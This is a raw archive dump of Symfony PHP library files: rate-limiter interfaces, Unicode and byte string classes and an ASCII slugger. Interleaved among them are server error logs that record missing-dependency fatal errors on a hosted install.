0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RateLimiter; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\RateLimiter\RateLimit; /** * A request limiter which allows peeking ahead. * * This is valuable to reduce the cache backend load in scenarios * like a login when we only want to consume a token on login failure, * and where the majority of requests will be successful and thus not * need to consume a token. * * This way we can peek ahead before allowing the request through, and * only consume if the request failed (1 backend op). This is compared * to always consuming and then resetting the limit if the request * is successful (2 backend ops). * * @author Jordi Boggiano */ interface PeekableRequestRateLimiterInterface extends RequestRateLimiterInterface { public function peek(Request $request): RateLimit; } http-foundation/RateLimiter/error_log000064400000005774151113511530014036 0ustar00[19-Nov-2025 05:30:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\RequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php on line 32 [19-Nov-2025 05:31:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\PeekableRequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php on line 25 [19-Nov-2025 12:25:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\PeekableRequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php on line 25 [19-Nov-2025 12:25:24 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\RequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php on line 32 [25-Nov-2025 04:34:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\PeekableRequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php on line 25 [25-Nov-2025 05:27:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\RequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php on line 32 [26-Nov-2025 03:31:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RateLimiter\PeekableRequestRateLimiterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RateLimiter/AbstractRequestRateLimiter.php on line 25 http-foundation/RateLimiter/AbstractRequestRateLimiter.php000064400000004613151113511530020077 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RateLimiter; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\RateLimiter\LimiterInterface; use Symfony\Component\RateLimiter\Policy\NoLimiter; use Symfony\Component\RateLimiter\RateLimit; /** * An implementation of PeekableRequestRateLimiterInterface that * fits most use-cases. * * @author Wouter de Jong */ abstract class AbstractRequestRateLimiter implements PeekableRequestRateLimiterInterface { public function consume(Request $request): RateLimit { return $this->doConsume($request, 1); } public function peek(Request $request): RateLimit { return $this->doConsume($request, 0); } private function doConsume(Request $request, int $tokens): RateLimit { $limiters = $this->getLimiters($request); if (0 === \count($limiters)) { $limiters = [new NoLimiter()]; } $minimalRateLimit = null; foreach ($limiters as $limiter) { $rateLimit = $limiter->consume($tokens); $minimalRateLimit = $minimalRateLimit ? self::getMinimalRateLimit($minimalRateLimit, $rateLimit) : $rateLimit; } return $minimalRateLimit; } public function reset(Request $request): void { foreach ($this->getLimiters($request) as $limiter) { $limiter->reset(); } } /** * @return LimiterInterface[] a set of limiters using keys extracted from the request */ abstract protected function getLimiters(Request $request): array; private static function getMinimalRateLimit(RateLimit $first, RateLimit $second): RateLimit { if ($first->isAccepted() !== $second->isAccepted()) { return $first->isAccepted() ? $second : $first; } $firstRemainingTokens = $first->getRemainingTokens(); $secondRemainingTokens = $second->getRemainingTokens(); if ($firstRemainingTokens === $secondRemainingTokens) { return $first->getRetryAfter() < $second->getRetryAfter() ? $second : $first; } return $firstRemainingTokens > $secondRemainingTokens ? $second : $first; } } http-foundation/RateLimiter/RequestRateLimiterInterface.php000064400000001336151113511530020233 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RateLimiter; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\RateLimiter\RateLimit; /** * A special type of limiter that deals with requests. * * This allows to limit on different types of information * from the requests. * * @author Wouter de Jong */ interface RequestRateLimiterInterface { public function consume(Request $request): RateLimit; public function reset(Request $request): void; } string/CodePointString.php000064400000017044151113511530011640 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; /** * Represents a string of Unicode code points encoded as UTF-8. * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ class CodePointString extends AbstractUnicodeString { public function __construct(string $string = '') { if ('' !== $string && !preg_match('//u', $string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $this->string = $string; } public function append(string ...$suffix): static { $str = clone $this; $str->string .= 1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix); if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $rx = '/('; while (65535 < $length) { $rx .= '.{65535}'; $length -= 65535; } $rx .= '.{'.$length.'})/us'; $str = clone $this; $chunks = []; foreach (preg_split($rx, $this->string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function codePointsAt(int $offset): array { $str = $offset ? $this->slice($offset, 1) : $this; return '' === $str->string ? [] : [mb_ord($str->string, 'UTF-8')]; } public function endsWith(string|iterable|AbstractString $suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (!\is_string($suffix)) { return parent::endsWith($suffix); } if ('' === $suffix || !preg_match('//u', $suffix)) { return false; } if ($this->ignoreCase) { return preg_match('{'.preg_quote($suffix).'$}iuD', $this->string); } return \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix)); } public function equalsTo(string|iterable|AbstractString $string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (!\is_string($string)) { return parent::equalsTo($string); } if ('' !== $string && $this->ignoreCase) { return \strlen($string) === \strlen($this->string) && 0 === mb_stripos($this->string, $string, 0, 'UTF-8'); } return $string === $this->string; } public function indexOf(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOf($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? mb_stripos($this->string, $needle, $offset, 'UTF-8') : mb_strpos($this->string, $needle, $offset, 'UTF-8'); return false === $i ? null : $i; } public function indexOfLast(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOfLast($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? mb_strripos($this->string, $needle, $offset, 'UTF-8') : mb_strrpos($this->string, $needle, $offset, 'UTF-8'); return false === $i ? null : $i; } public function length(): int { return mb_strlen($this->string, 'UTF-8'); } public function prepend(string ...$prefix): static { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$this->string; if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function replace(string $from, string $to): static { $str = clone $this; if ('' === $from || !preg_match('//u', $from)) { return $str; } if ('' !== $to && !preg_match('//u', $to)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } if ($this->ignoreCase) { $str->string = implode($to, preg_split('{'.preg_quote($from).'}iuD', $this->string)); } else { $str->string = str_replace($from, $to, $this->string); } return $str; } public function slice(int $start = 0, int $length = null): static { $str = clone $this; $str->string = mb_substr($this->string, $start, $length, 'UTF-8'); return $str; } public function splice(string $replacement, int $start = 0, int $length = null): static { if (!preg_match('//u', $replacement)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str = clone $this; $start = $start ? \strlen(mb_substr($this->string, 0, $start, 'UTF-8')) : 0; $length = $length ? \strlen(mb_substr($this->string, $start, $length, 'UTF-8')) : $length; $str->string = substr_replace($this->string, $replacement, $start, $length ?? \PHP_INT_MAX); return $str; } public function split(string $delimiter, int $limit = null, int $flags = null): array { if (1 > $limit ??= \PHP_INT_MAX) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter.'u', $limit, $flags); } if (!preg_match('//u', $delimiter)) { throw new InvalidArgumentException('Split delimiter is not a valid UTF-8 string.'); } $str = clone $this; $chunks = $this->ignoreCase ? preg_split('{'.preg_quote($delimiter).'}iuD', $this->string, $limit) : explode($delimiter, $this->string, $limit); foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } return $chunks; } public function startsWith(string|iterable|AbstractString $prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } if ('' === $prefix || !preg_match('//u', $prefix)) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos($this->string, $prefix, 0, 'UTF-8'); } return 0 === strncmp($this->string, $prefix, \strlen($prefix)); } } string/Slugger/SluggerInterface.php000064400000001313151113511530013416 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Slugger; use Symfony\Component\String\AbstractUnicodeString; /** * Creates a URL-friendly slug from a given string. * * @author Titouan Galopin */ interface SluggerInterface { /** * Creates a slug for the given string and locale, using appropriate transliteration when needed. */ public function slug(string $string, string $separator = '-', string $locale = null): AbstractUnicodeString; } string/Slugger/error_log000064400000001700151113511530011371 0ustar00[25-Nov-2025 05:26:32 UTC] PHP Fatal error: Uncaught LogicException: You cannot use the "Symfony\Component\String\Slugger\AsciiSlugger" as the "symfony/translation-contracts" package is not installed. Try running "composer require symfony/translation-contracts". in /home/fluxyjvi/public_html/project/vendor/symfony/string/Slugger/AsciiSlugger.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Slugger/AsciiSlugger.php on line 20 [26-Nov-2025 01:37:37 UTC] PHP Fatal error: Uncaught LogicException: You cannot use the "Symfony\Component\String\Slugger\AsciiSlugger" as the "symfony/translation-contracts" package is not installed. Try running "composer require symfony/translation-contracts". in /home/fluxyjvi/public_html/project/vendor/symfony/string/Slugger/AsciiSlugger.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Slugger/AsciiSlugger.php on line 20 string/Slugger/AsciiSlugger.php000064400000015716151113511530012562 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Slugger; use Symfony\Component\Intl\Transliterator\EmojiTransliterator; use Symfony\Component\String\AbstractUnicodeString; use Symfony\Component\String\UnicodeString; use Symfony\Contracts\Translation\LocaleAwareInterface; if (!interface_exists(LocaleAwareInterface::class)) { throw new \LogicException('You cannot use the "Symfony\Component\String\Slugger\AsciiSlugger" as the "symfony/translation-contracts" package is not installed. Try running "composer require symfony/translation-contracts".'); } /** * @author Titouan Galopin */ class AsciiSlugger implements SluggerInterface, LocaleAwareInterface { private const LOCALE_TO_TRANSLITERATOR_ID = [ 'am' => 'Amharic-Latin', 'ar' => 'Arabic-Latin', 'az' => 'Azerbaijani-Latin', 'be' => 'Belarusian-Latin', 'bg' => 'Bulgarian-Latin', 'bn' => 'Bengali-Latin', 'de' => 'de-ASCII', 'el' => 'Greek-Latin', 'fa' => 'Persian-Latin', 'he' => 'Hebrew-Latin', 'hy' => 'Armenian-Latin', 'ka' => 'Georgian-Latin', 'kk' => 'Kazakh-Latin', 'ky' => 'Kirghiz-Latin', 'ko' => 'Korean-Latin', 'mk' => 'Macedonian-Latin', 'mn' => 'Mongolian-Latin', 'or' => 'Oriya-Latin', 'ps' => 'Pashto-Latin', 'ru' => 'Russian-Latin', 'sr' => 'Serbian-Latin', 'sr_Cyrl' => 'Serbian-Latin', 'th' => 'Thai-Latin', 'tk' => 'Turkmen-Latin', 'uk' => 'Ukrainian-Latin', 'uz' => 'Uzbek-Latin', 'zh' => 'Han-Latin', ]; private ?string $defaultLocale; private \Closure|array $symbolsMap = [ 'en' => ['@' => 'at', '&' => 'and'], ]; private bool|string $emoji = false; /** * Cache of transliterators per locale. * * @var \Transliterator[] */ private array $transliterators = []; public function __construct(string $defaultLocale = null, array|\Closure $symbolsMap = null) { $this->defaultLocale = $defaultLocale; $this->symbolsMap = $symbolsMap ?? $this->symbolsMap; } /** * @return void */ public function setLocale(string $locale) { $this->defaultLocale = $locale; } public function getLocale(): string { return $this->defaultLocale; } /** * @param bool|string $emoji true will use the same locale, * false will disable emoji, * and a string to use a specific locale */ public function withEmoji(bool|string $emoji = true): static { if (false !== $emoji && !class_exists(EmojiTransliterator::class)) { throw new \LogicException(sprintf('You cannot use the "%s()" method as the "symfony/intl" package is not installed. Try running "composer require symfony/intl".', __METHOD__)); } $new = clone $this; $new->emoji = $emoji; return $new; } public function slug(string $string, string $separator = '-', string $locale = null): AbstractUnicodeString { $locale ??= $this->defaultLocale; $transliterator = []; if ($locale && ('de' === $locale || str_starts_with($locale, 'de_'))) { // Use the shortcut for German in UnicodeString::ascii() if possible (faster and no requirement on intl) $transliterator = ['de-ASCII']; } elseif (\function_exists('transliterator_transliterate') && $locale) { $transliterator = (array) $this->createTransliterator($locale); } if ($emojiTransliterator = $this->createEmojiTransliterator($locale)) { $transliterator[] = $emojiTransliterator; } if ($this->symbolsMap instanceof \Closure) { // If the symbols map is passed as a closure, there is no need to fallback to the parent locale // as the closure can just provide substitutions for all locales of interest. $symbolsMap = $this->symbolsMap; array_unshift($transliterator, static fn ($s) => $symbolsMap($s, $locale)); } $unicodeString = (new UnicodeString($string))->ascii($transliterator); if (\is_array($this->symbolsMap)) { $map = null; if (isset($this->symbolsMap[$locale])) { $map = $this->symbolsMap[$locale]; } else { $parent = self::getParentLocale($locale); if ($parent && isset($this->symbolsMap[$parent])) { $map = $this->symbolsMap[$parent]; } } if ($map) { foreach ($map as $char => $replace) { $unicodeString = $unicodeString->replace($char, ' '.$replace.' '); } } } return $unicodeString ->replaceMatches('/[^A-Za-z0-9]++/', $separator) ->trim($separator) ; } private function createTransliterator(string $locale): ?\Transliterator { if (\array_key_exists($locale, $this->transliterators)) { return $this->transliterators[$locale]; } // Exact locale supported, cache and return if ($id = self::LOCALE_TO_TRANSLITERATOR_ID[$locale] ?? null) { return $this->transliterators[$locale] = \Transliterator::create($id.'/BGN') ?? \Transliterator::create($id); } // Locale not supported and no parent, fallback to any-latin if (!$parent = self::getParentLocale($locale)) { return $this->transliterators[$locale] = null; } // Try to use the parent locale (ie. try "de" for "de_AT") and cache both locales if ($id = self::LOCALE_TO_TRANSLITERATOR_ID[$parent] ?? null) { $transliterator = \Transliterator::create($id.'/BGN') ?? \Transliterator::create($id); } return $this->transliterators[$locale] = $this->transliterators[$parent] = $transliterator ?? null; } private function createEmojiTransliterator(?string $locale): ?EmojiTransliterator { if (\is_string($this->emoji)) { $locale = $this->emoji; } elseif (!$this->emoji) { return null; } while (null !== $locale) { try { return EmojiTransliterator::create("emoji-$locale"); } catch (\IntlException) { $locale = self::getParentLocale($locale); } } return null; } private static function getParentLocale(?string $locale): ?string { if (!$locale) { return null; } if (false === $str = strrchr($locale, '_')) { // no parent locale return null; } return substr($locale, 0, -\strlen($str)); } } string/Resources/functions.php000064400000001524151113511530012543 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string ??= ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } string/Resources/data/wcswidth_table_zero.php000064400000035202151113511530015506 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /** * Represents a binary-safe string of bytes. * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ class ByteString extends AbstractString { private const ALPHABET_ALPHANUMERIC = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; public function __construct(string $string = '') { $this->string = $string; } /* * The following method was derived from code of the Hack Standard Library (v4.40 - 2020-05-03) * * https://github.com/hhvm/hsl/blob/80a42c02f036f72a42f0415e80d6b847f4bf62d5/src/random/private.php#L16 * * Code subject to the MIT license (https://github.com/hhvm/hsl/blob/master/LICENSE). * * Copyright (c) 2004-2020, Facebook, Inc. (https://www.facebook.com/) */ public static function fromRandom(int $length = 16, string $alphabet = null): self { if ($length <= 0) { throw new InvalidArgumentException(sprintf('A strictly positive length is expected, "%d" given.', $length)); } $alphabet ??= self::ALPHABET_ALPHANUMERIC; $alphabetSize = \strlen($alphabet); $bits = (int) ceil(log($alphabetSize, 2.0)); if ($bits <= 0 || $bits > 56) { throw new InvalidArgumentException('The length of the alphabet must in the [2^1, 2^56] range.'); } $ret = ''; while ($length > 0) { $urandomLength = (int) ceil(2 * $length * $bits / 8.0); $data = random_bytes($urandomLength); $unpackedData = 0; $unpackedBits = 0; for ($i = 0; $i < $urandomLength && $length > 0; ++$i) { // Unpack 8 bits $unpackedData = ($unpackedData << 8) | \ord($data[$i]); $unpackedBits += 8; // While we have enough bits to select a character from the alphabet, keep // consuming the random data for (; $unpackedBits >= $bits && $length > 0; $unpackedBits -= $bits) { $index = ($unpackedData & ((1 << $bits) - 1)); $unpackedData >>= $bits; // Unfortunately, the alphabet size is not necessarily a power of two. // Worst case, it is 2^k + 1, which means we need (k+1) bits and we // have around a 50% chance of missing as k gets larger if ($index < $alphabetSize) { $ret .= $alphabet[$index]; --$length; } } } } return new static($ret); } public function bytesAt(int $offset): array { $str = $this->string[$offset] ?? ''; return '' === $str ? [] : [\ord($str)]; } public function append(string ...$suffix): static { $str = clone $this; $str->string .= 1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix); return $str; } public function camel(): static { $str = clone $this; $parts = explode(' ', trim(ucwords(preg_replace('/[^a-zA-Z0-9\x7f-\xff]++/', ' ', $this->string)))); $parts[0] = 1 !== \strlen($parts[0]) && ctype_upper($parts[0]) ? $parts[0] : lcfirst($parts[0]); $str->string = implode('', $parts); return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $str = clone $this; $chunks = []; foreach (str_split($this->string, $length) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function endsWith(string|iterable|AbstractString $suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (!\is_string($suffix)) { return parent::endsWith($suffix); } return '' !== $suffix && \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix), null, $this->ignoreCase); } public function equalsTo(string|iterable|AbstractString $string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (!\is_string($string)) { return parent::equalsTo($string); } if ('' !== $string && $this->ignoreCase) { return 0 === strcasecmp($string, $this->string); } return $string === $this->string; } public function folded(): static { $str = clone $this; $str->string = strtolower($str->string); return $str; } public function indexOf(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOf($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? stripos($this->string, $needle, $offset) : strpos($this->string, $needle, $offset); return false === $i ? null : $i; } public function indexOfLast(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOfLast($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? strripos($this->string, $needle, $offset) : strrpos($this->string, $needle, $offset); return false === $i ? null : $i; } public function isUtf8(): bool { return '' === $this->string || preg_match('//u', $this->string); } public function join(array $strings, string $lastGlue = null): static { $str = clone $this; $tail = null !== $lastGlue && 1 < \count($strings) ? $lastGlue.array_pop($strings) : ''; $str->string = implode($this->string, $strings).$tail; return $str; } public function length(): int { return \strlen($this->string); } public function lower(): static { $str = clone $this; $str->string = strtolower($str->string); return $str; } public function match(string $regexp, int $flags = 0, int $offset = 0): array { $match = ((\PREG_PATTERN_ORDER | \PREG_SET_ORDER) & $flags) ? 'preg_match_all' : 'preg_match'; if ($this->ignoreCase) { $regexp .= 'i'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (false === $match($regexp, $this->string, $matches, $flags | \PREG_UNMATCHED_AS_NULL, $offset)) { throw new RuntimeException('Matching failed with error: '.preg_last_error_msg()); } } finally { restore_error_handler(); } return $matches; } public function padBoth(int $length, string $padStr = ' '): static { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_BOTH); return $str; } public function padEnd(int $length, string $padStr = ' '): static { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_RIGHT); return $str; } public function padStart(int $length, string $padStr = ' '): static { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_LEFT); return $str; } public function prepend(string ...$prefix): static { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$str->string; return $str; } public function replace(string $from, string $to): static { $str = clone $this; if ('' !== $from) { $str->string = $this->ignoreCase ? str_ireplace($from, $to, $this->string) : str_replace($from, $to, $this->string); } return $str; } public function replaceMatches(string $fromRegexp, string|callable $to): static { if ($this->ignoreCase) { $fromRegexp .= 'i'; } $replace = \is_array($to) || $to instanceof \Closure ? 'preg_replace_callback' : 'preg_replace'; set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (null === $string = $replace($fromRegexp, $to, $this->string)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && str_ends_with($k, '_ERROR')) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; $str->string = $string; return $str; } public function reverse(): static { $str = clone $this; $str->string = strrev($str->string); return $str; } public function slice(int $start = 0, int $length = null): static { $str = clone $this; $str->string = (string) substr($this->string, $start, $length ?? \PHP_INT_MAX); return $str; } public function snake(): static { $str = $this->camel(); $str->string = strtolower(preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\d])([A-Z])/'], '\1_\2', $str->string)); return $str; } public function splice(string $replacement, int $start = 0, int $length = null): static { $str = clone $this; $str->string = substr_replace($this->string, $replacement, $start, $length ?? \PHP_INT_MAX); return $str; } public function split(string $delimiter, int $limit = null, int $flags = null): array { if (1 > $limit ??= \PHP_INT_MAX) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter, $limit, $flags); } $str = clone $this; $chunks = $this->ignoreCase ? preg_split('{'.preg_quote($delimiter).'}iD', $this->string, $limit) : explode($delimiter, $this->string, $limit); foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } return $chunks; } public function startsWith(string|iterable|AbstractString $prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } return '' !== $prefix && 0 === ($this->ignoreCase ? strncasecmp($this->string, $prefix, \strlen($prefix)) : strncmp($this->string, $prefix, \strlen($prefix))); } public function title(bool $allWords = false): static { $str = clone $this; $str->string = $allWords ? ucwords($str->string) : ucfirst($str->string); return $str; } public function toUnicodeString(string $fromEncoding = null): UnicodeString { return new UnicodeString($this->toCodePointString($fromEncoding)->string); } public function toCodePointString(string $fromEncoding = null): CodePointString { $u = new CodePointString(); if (\in_array($fromEncoding, [null, 'utf8', 'utf-8', 'UTF8', 'UTF-8'], true) && preg_match('//u', $this->string)) { $u->string = $this->string; return $u; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { try { $validEncoding = false !== mb_detect_encoding($this->string, $fromEncoding ?? 'Windows-1252', true); } catch (InvalidArgumentException $e) { if (!\function_exists('iconv')) { throw $e; } $u->string = iconv($fromEncoding ?? 'Windows-1252', 'UTF-8', $this->string); return $u; } } finally { restore_error_handler(); } if (!$validEncoding) { throw new InvalidArgumentException(sprintf('Invalid "%s" string.', $fromEncoding ?? 'Windows-1252')); } $u->string = mb_convert_encoding($this->string, 'UTF-8', $fromEncoding ?? 'Windows-1252'); return $u; } public function trim(string $chars = " \t\n\r\0\x0B\x0C"): static { $str = clone $this; $str->string = trim($str->string, $chars); return $str; } public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C"): static { $str = clone $this; $str->string = rtrim($str->string, $chars); return $str; } public function trimStart(string $chars = " \t\n\r\0\x0B\x0C"): static { $str = clone $this; $str->string = ltrim($str->string, $chars); return $str; } public function upper(): static { $str = clone $this; $str->string = strtoupper($str->string); return $str; } public function width(bool $ignoreAnsiDecoration = true): int { $string = preg_match('//u', $this->string) ? $this->string : preg_replace('/[\x80-\xFF]/', '?', $this->string); return (new CodePointString($string))->width($ignoreAnsiDecoration); } } string/README.md000064400000001053151113511530007324 0ustar00String Component ================ The String component provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way. Resources --------- * [Documentation](https://symfony.com/doc/current/components/string.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) string/LICENSE000064400000002054151113511530007054 0ustar00Copyright (c) 2019-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. string/Exception/ExceptionInterface.php000064400000000521151113511530014272 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Exception; interface ExceptionInterface extends \Throwable { } string/Exception/RuntimeException.php000064400000000560151113511530014020 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Exception; class RuntimeException extends \RuntimeException implements ExceptionInterface { } string/Exception/error_log000064400000005650151113511530011727 0ustar00[19-Nov-2025 12:39:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php on line 14 [19-Nov-2025 12:45:30 UTC] PHP Fatal error: Uncaught Error: Interface 